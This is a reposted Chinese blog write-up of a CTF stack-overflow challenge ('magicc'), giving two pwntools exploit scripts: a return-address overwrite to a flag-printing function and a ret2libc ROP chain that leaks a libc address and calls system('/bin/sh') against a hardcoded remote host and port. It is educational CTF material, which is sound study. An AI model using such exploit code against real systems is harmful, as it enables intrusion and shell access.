安恒pwn魔法

墨蓝 2023-06-02 13:57 6阅读 0赞

魔法这是比较基础的一道栈溢出；

首先看下开启的防护机制

Checksec magicc发现只有nx防护

我们载入ida发现溢出点

[![clip\_image002][clip_image002]][clip_image002_clip_image002]

[![clip\_image004][clip_image004]][clip_image004_clip_image004]

Buf实际溢出空间为0x16,构造exp

import time

from pwn import \*

p=process('./magicc')

p.recvuntil('Choose!')

p.sendline('4')

p.recvuntil('success')

payload1='A'\*22

\#system=

\#asd=0x804876e

\#ret=0x8048770

cat=0x80485AD

\#hgd=0x80485a7

\#exit\_addr=0x8048450

\#nxaddr=p32(0x80485A7)

payload=payload1+p32(cat)

p.sendline(payload)

p.interactive()

另外是采用rop

from pwn import \*

context.log\_level = "debug"

context.arch = "i386"

elf = ELF("magicc")

sh = 0

lib = 0

def pwn(ip,port,debug):

global sh

global lib

if(debug == 1):

sh = process("./magicc")

else:

sh = remote(ip,port)

lib = ELF("libc6-i386\_2.23-0ubuntu10\_amd64.so")

catFlag = 0x08048847

offset = 22

sh.recv()

sh.sendline("4")

sh.recvuntil("You are one step short of success\\n")

payload = offset \* "a" + p32(elf.plt\['puts'\]) + p32(0x08048490) + p32(elf.got\['\_\_libc\_start\_main'\])

sh.sendline(payload)

\_\_libc\_start\_main = u32(sh.recv(4))

log.success("\_\_libc\_start\_main: " + hex(\_\_libc\_start\_main))

libc = \_\_libc\_start\_main - lib.symbols\['\_\_libc\_start\_main'\]

system = libc + lib.symbols\['system'\]

binsh = libc + lib.search("/bin/sh\\x00").next()

sh.sendline("4")

sh.recv()

sh.sendline(offset \* "a" + p32(elf.plt\['system'\]) + p32(0x08048490) + p32(binsh))

sh.interactive()

if \_\_name\_\_ == "\_\_main\_\_":

pwn("101.71.29.5",10001,0)

转载于:https://www.cnblogs.com/kk328/p/11348704.html

[clip_image002]: https://img2018.cnblogs.com/blog/1330806/201908/1330806-20190813212752557-779631744.jpg
[clip_image002_clip_image002]: /images/20230601/c7734b5ee93b427297910682cbbbdb30.png
[clip_image004]: https://img2018.cnblogs.com/blog/1330806/201908/1330806-20190813212806876-727746740.jpg
[clip_image004_clip_image004]: /images/20230601/2cc5bbf6ada34a0da6e6cc16eb5ebfb6.png

发表评论取消回复

表情：

评论列表（有 0 条评论，6人围观）

还没有评论，来说两句吧...

相关阅读

相关安恒明御安全网关文件上传

title=“明御安全网关”

系统管理员/ 2024年05月23日 14:16/ 0 赞/ 73 阅读

相关安恒Red Team 内部红蓝对抗框架

0x00 准备钓鱼攻击(从公开资源) 1.常见的红队攻击向量和技术 ![Image 1][] ![1868071fa8037116312ce754e12ce7de.p

「爱情、让人受尽委屈。」/ 2024年03月31日 11:38/ 0 赞/ 80 阅读

相关安恒pwn魔法

魔法这是比较基础的一道栈溢出；首先看下开启的防护机制 Checksec magicc发现只有nx防护我们载入ida发现溢出点 [![clip\_image002][

墨蓝/ 2023年06月02日 13:57/ 0 赞/ 7 阅读

相关 vn_pwn_warmup

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ub

你的名字/ 2023年02月24日 08:57/ 0 赞/ 36 阅读

相关 [BUGKU][CTF][PWN][2020] PWN writeup

准备UBUNTU pwndbg pwntools PWN1 关键字：nc 知识点：nc使用方法 https://www.cnblogs.com/nmap/p/61

绝地灬酷狼/ 2023年01月05日 14:10/ 0 赞/ 183 阅读

相关 CTF PWN入门

小白言承之PWN学习路线： [https://blog.csdn.net/qq\_43935969/article/details/104107872][https_blo

朱雀/ 2022年11月21日 09:43/ 0 赞/ 195 阅读

相关攻防世界-pwn-新手-hello_pwn

【题目描述】 Pwn! Segment fault！菜鸡陷入了深思【附件】在线场景和文件【过程及思路】放到linux下，checksec一下，检查

逃离我推掉我的手/ 2022年09月16日 05:55/ 0 赞/ 193 阅读

相关 pwn错误记录

很简单的pwn题 ![在这里插入图片描述][20190506110147468.png] ![在这里插入图片描述][20190506110213374.png] 检

柔情只为你懂/ 2022年04月25日 06:06/ 0 赞/ 266 阅读

相关 PWN学习笔记--HCTF2017 pwn200

参考链接：[https://bbs.pediy.com/thread-224645.htm][https_bbs.pediy.com_thread-224645.htm] 考

不念不忘少年蓝@/ 2022年04月24日 13:02/ 0 赞/ 557 阅读

相关 CTF-PWN

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ub

╰+攻爆jí腚メ/ 2021年07月25日 23:59/ 0 赞/ 435 阅读